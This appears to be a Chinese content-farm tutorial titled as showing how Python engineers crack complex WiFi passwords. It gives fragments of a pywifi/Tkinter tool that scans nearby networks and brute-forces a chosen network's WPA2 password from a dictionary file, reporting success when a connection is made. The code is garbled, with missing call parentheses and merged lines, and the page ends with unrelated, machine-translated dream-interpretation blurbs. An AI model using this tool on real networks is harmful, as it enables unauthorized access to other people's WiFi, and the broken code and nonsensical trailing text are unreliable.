新四季網

密碼設置複雜的wifi(WiFi密碼設置複雜了)

2023-07-31 19:29:04 1

現在每個家庭都有WiFi!大家都以為為了防止別人蹭WiFi密碼設置複雜一點,萬能鑰匙就破解不了!今天給大家看看python工程師是怎麼破解WiFi密碼的!今天利用python中的pywifi模塊來寫這個程序!上教程

一、獲取密碼文件的路徑

self.get_value = StringVar

二、獲取WiFi帳號

self.get_wifi_value = StringVar

三、獲取WiFi密碼

self.get_wifimm_value = StringVar

四、抓取網卡接口

self.wifi = pywifi.PyWiFi

五、抓取第一個無線網卡

self.iface = self.wifi.interfaces[0]

六、測試連接斷開所有連結

self.iface.disconnect

七、測試網卡是否屬於斷開狀態

assert self.iface.status in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

八、自動會調用的函數,返回自身的網卡

return '(WIFI:%s,%s)' % (self.wifi,self.iface.name)

九、搜索WiFi

#開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scantime.sleep(15)#在若干秒後獲取掃描結果scanres = self.iface.scan_results#統計附近被發現的熱點數量nums = len(scanres)print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)return scanres

十、添加密碼文件目錄

self.filename = tkinter.filedialog.askopenfilenameself.get_value.set(self.filename)

十一、Treeview綁定事件

self.sels= event.widget.selectionself.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])

十二、讀取密碼字典,進行匹配

def readPassWord(self):self.getFilePath = self.get_value.getself.get_wifissid =)while True:try:self.pwdStr=pwdfilehander.readlineif not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue

十三、對wifi和密碼進行匹配

#創建wifi連結文件self.profile = pywifi.Profileself.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles #刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的連結文件self.iface.connect(self.tmp_profile)#連結time.sleep(5)if self.iface.status == const.IFACE_CONNECTED: #判斷是否連接上isOK=Trueelse:isOK=Falseself.iface.disconnect #斷開time.sleep(1)#檢查斷開狀態assert self.iface.status in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

運行結果

,
同类文章
葬禮的夢想

葬禮的夢想

夢見葬禮,我得到了這個夢想,五個要素的五個要素,水火只好,主要名字在外面,職業生涯良好,一切都應該對待他人治療誠意,由於小,吉利的冬天夢想,秋天的夢是不吉利的
找到手機是什麼意思?

找到手機是什麼意思?

找到手機是什麼意思?五次選舉的五個要素是兩名士兵的跡象。與他溝通很好。這是非常財富,它擅長運作,職業是仙人的標誌。單身男人有這個夢想,主要生活可以有人幫忙
我不怎麼想?

我不怎麼想?

我做了什麼意味著看到米飯烹飪?我得到了這個夢想,五線的主要土壤,但是Tu Ke水是錢的跡象,職業生涯更加真誠。他真誠地誠實。這是豐富的,這是夏瑞的巨星
夢想你的意思是什麼?

夢想你的意思是什麼?

你是什​​麼意思夢想的夢想?夢想,主要木材的五個要素,水的跡象,主營業務,主營業務,案子應該抓住魅力,不能疏忽,春天夢想的吉利夢想夏天的夢想不幸。詢問學者夢想
拯救夢想

拯救夢想

拯救夢想什麼意思?你夢想著拯救人嗎?拯救人們的夢想有一個現實,也有夢想的主觀想像力,請參閱週宮官方網站拯救人民夢想的詳細解釋。夢想著敵人被拯救出來
2022愛方向和生日是在[質量個性]中

2022愛方向和生日是在[質量個性]中

[救生員]有人說,在出生88天之前,胎兒已經知道哪天的出生,如何有優質的個性,將走在什麼樣的愛情之旅,將與生活生活有什么生活。今天
夢想切割剪裁

夢想切割剪裁

夢想切割剪裁什麼意思?你夢想切你的手是好的嗎?夢想切割手工切割手有一個真正的影響和反應,也有夢想的主觀想像力。請參閱官方網站夢想的細節,以削減手
夢想著親人死了

夢想著親人死了

夢想著親人死了什麼意思?你夢想夢想你的親人死嗎?夢想有一個現實的影響和反應,還有夢想的主觀想像力,請參閱夢想世界夢想死亡的親屬的詳細解釋
夢想搶劫

夢想搶劫

夢想搶劫什麼意思?你夢想搶劫嗎?夢想著搶劫有一個現實的影響和反應,也有夢想的主觀想像力,請參閱週恭吉夢官方網站的詳細解釋。夢想搶劫
夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂什麼意思?你夢想缺乏異常藥物嗎?夢想缺乏現實世界的影響和現實,還有夢想的主觀想像,請看官方網站的夢想組織缺乏異常藥物。我覺得有些東西缺失了